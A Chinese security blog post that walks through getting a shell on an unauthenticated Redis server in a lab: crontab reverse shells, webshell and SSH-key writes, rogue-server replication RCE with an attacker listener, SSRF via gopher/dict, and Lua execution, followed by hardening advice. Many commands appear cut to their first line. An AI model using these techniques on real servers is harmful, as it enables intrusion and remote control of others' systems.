Crontab 计划任务
Crontab 是 Linux系统或 Unix 系统中常用的定时命令,使用 Crontab 可以在指定的时间执行一个 Shell 脚本或者一系列 Linux/Unix 命令。
Crontab 格式
1 |
* * * * * command |
Crontab 示例
- 在每天凌晨过一分钟12:01 a.m 执行
1 |
1 0 * * * /root/bin/backup.sh |
- 每个工作日(Mon – Fri) 11:59 p.m 执行
1 |
59 11 * * 1,2,3,4,5 /root/bin/backup.sh |
下面例子与上面的例子效果一样:
1 |
59 11 * * 1-5 /root/bin/backup.sh |
- 每5分钟执行一次命令
1 |
*/5 * * * * /root/bin/check-status.sh |
- 每个月的第一天 1:10 p.m 执行
1 |
10 13 1 * * /root/bin/full-backup.sh |
- 每个工作日 11 p.m 执行
1 |
0 23 * * 1-5 /root/bin/incremental-backup.sh |
Crontab 选项
1 |
crontab –e : 修改 crontab 文件. 如果文件不存在会自动创建。 |
Cron表达式和Crontab的区别
-
Cron表达式从左往右,从秒开始;而Crontab则是从分钟开始的。
-
Cron表达式是一个字符串,字符串以5或6个空格隔开,分为6或7个域,每一个域代表一个含义,
-
Cron有如下两种语法格:
(1)Seconds Minutes Hours DayofMonth Month DayofWeek Year
(2)Seconds Minutes Hours DayofMonth Month DayofWeek
-
Crontab格式:
MIN(分钟) HOUR(小时) DAY(日期) MONTH(月份) DAYOFWEEK(星期) COMMAND(命令)
漏洞成因
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务
环境准备
目标机器:172.16.186.4
Kali 开启 SSH
1. 查看ssh服务状态
1 |
/etc/init.d/ssh status |
2.修改配置文件
1 |
vim /etc/ssh/sshd_config |
3. 启动ssh服务
1 |
/etc/init.d/ssh start |
查看服务状态
1 |
/etc/init.d/ssh status |
开机启动
1 |
update-rc.d ssh enable |
配置 Redis
1 |
wget http://download.redis.io/releases/redis-3.2.11.tar.gz |
去掉ip绑定,允许除本地外的主机远程登录redis服务 前面加#注释掉
关闭保护模式,允许远程连接redis服务将yes 改为no
启动 Redis
1 |
redis-server /etc/redis.conf |
常用命令
连接 Redis 服务器
1 |
redis-cli -h 172.16.186.4 |
1 |
(1)info 查看信息 |
MSF 下利用模块
1 |
auxiliary/scanner/redis/file_upload |
nmap获取信息
1 |
nmap -A -p 6379 --script redis-info 172.16.186.4 |
GetShell 原理:攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,我们可以将dir 设置为一个目录 a,而 dbfilename 为文件名 b,再执行 save 或 bgsave,就可以写入一个路径为 a/b 的任意文件。
计划任务反弹 Shell
- 在 Redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell
1 |
# VPS 启监听 |
Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root
crontab -l 列出某个用户cron服务的详细内容
crontab -r 删除每个用户cront任务 (谨慎:删除所有的计划任务)
crontab -e 使用编辑器编辑当前的crontab文件
如:*/1 * * * * echo “hello world” >> /tmp/test.txt 每分钟写入文件
Web 目录写 Shell
- 当 redis 权限不高且服务器开着 web 服务
- redis 有 web 目录写权限
- 可以尝试往 web 路径写 webshell
1 |
# 攻击机连接 Redis (若其他端口加 -p) |
写 ssh-keygen 公钥获取权限
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
1 |
# 本地生成一对密钥 |
或者172.16.186.4:6379> set crackit “\n\n\n 公钥内容 \n\n\n”
Redis 主从复制 GetShell
Redis 是一个使用 ANSIC 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个 Redis 的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis 就提供了主从模式,主从模式就是指使用一个 redis 实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。基于Redis主从复制的机制,可以通过FULLRESYNC将任意文件同步到从节点(slave)从而利用漏洞获取权限。
Redis RCE 自动化工具
条件
Redis <=5.0.5
EXP
用法
1 |
-h, --help show this help message and exit |
交互式 Shell
1 |
➜ python3 redis-rogue-server.py --rhost=目标 IP --lhost=xx.xx.xx.xx |
反弹 Shell
1 |
➜ python3 redis-rogue-server.py --rhost=目标 IP --lhost=xx.xx.xx.xx |
VPS 接收 Shell:
1 |
➜ nc -lvvp 9999 |
SSRF 反弹 Shell
参照 Redis 手动 Getshell 的过程,当站点存在漏洞时可利用 SSRF 反弹 Shell
测试漏洞页面 ssrf.php
1 |
|
环境准备
- 模拟内网未授权 Redis 服务器:172.16.186.4
- 模拟攻击者机器:192.168.0.107
- 在攻击者机器上构建恶意 Redis 服务器,同时监听本地 9999 端口接收 Shell
利用 dict 协议反弹 Shell
利用方式:
1 |
# 查看当前redis的相关配置 |
利用 Gopher 协议反弹 Shell
利用方式:
1 |
# 设置文件名,连接恶意Redis服务器 |
Get 请求会自动解码一次所以这里需要进行两次 URL 编码
Lua 脚本执行命令
Redis 2.6以前的版本内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。
本地建立一个lua脚本:
1 |
vim hello.lua |
在客户端连接 Redis 服务器并执行 hello.lua
1 |
redis-cli eval "$(cat hello.lua)" 0 -h 172.16.186.4 |
写二进制文件 利用dns、icmp等协议上线 (tcp协议不能出网)
写二进制文件的方法跟前边有所不同,原因在于使用 RDB 方式备份 Redis 数据库是默认情况下会对文件进行压缩,上传的二进制文件也会被压缩,而且文件前后存在脏数据,因此需要将默认压缩关闭,并且通过计划任务调用 python清洗脏数据。
- 创建一个 a.lua 其内容如下:
1 |
local function hex2bin(hexstr) |
变量data保存的是程序的16进制编码
- 利用 redis 执行该 lua 脚本
1 |
redis-cli --eval a.lua -h 172.16.186.4 |
- 由于 redis 不支持在 lua 中调用 save 因此需要手动执行 save 操作,并且删除 key data,恢复 dir 等。
1 |
redis-cli save -h 172.16.186.4 |
目前写入的文件前后是存在垃圾数据的,需要通过写计划任务调用python或者系统命令提取出二进制文件(写文件之在数据前后加入了 |||
作为提取最终文件的标识)
1 |
*/1 * * * * python -c 'open("/tmp/rst","a+").write(open("/tmp/t").read().split("|||")[1])' |
修复建议
-
禁止Redis服务对公网开放,可通过修改
redis.conf
配置文件中的#bind 127.0.0.1
,去掉前面的#
即可(Redis本来就是作为内存数据库,只要监听在本机即可) -
设置密码访问认证,可通过修改
redis.conf
配置文件中的requirepass
设置复杂密码 (需要重启 Redis 服务才能生效)1
requirepass mypassword (注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
-
对访问源 IP 进行访问控制,可在防火墙限定指定源 IP 才可以连接 Redis 服务器
-
修改 Redis 默认端口,将默认的6379端口修改为其他端口。
1
Port 6379
-
保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:1
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
1
$ chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
1
$ chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。
-
禁止一些高危命令(重启redis才能生效)
修改 redis.conf 文件,禁用远程修改 DB 文件地址:
1
2
3
4
5rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""或者通过修改redis.conf文件,改变这些高危命令的名称:
1
2
3
4
5rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3" -
以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆:
1
groupadd -r redis && useradd -r -g redis redis
参考链接
- https://sec.nmask.cn/article_content?a_id=c06f13f3f169ba5fee2761ad234e9805
- https://www.cnblogs.com/xiaozi/p/13089906.html
FROM : lintstar.top , Author: 离沫凌天๓
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论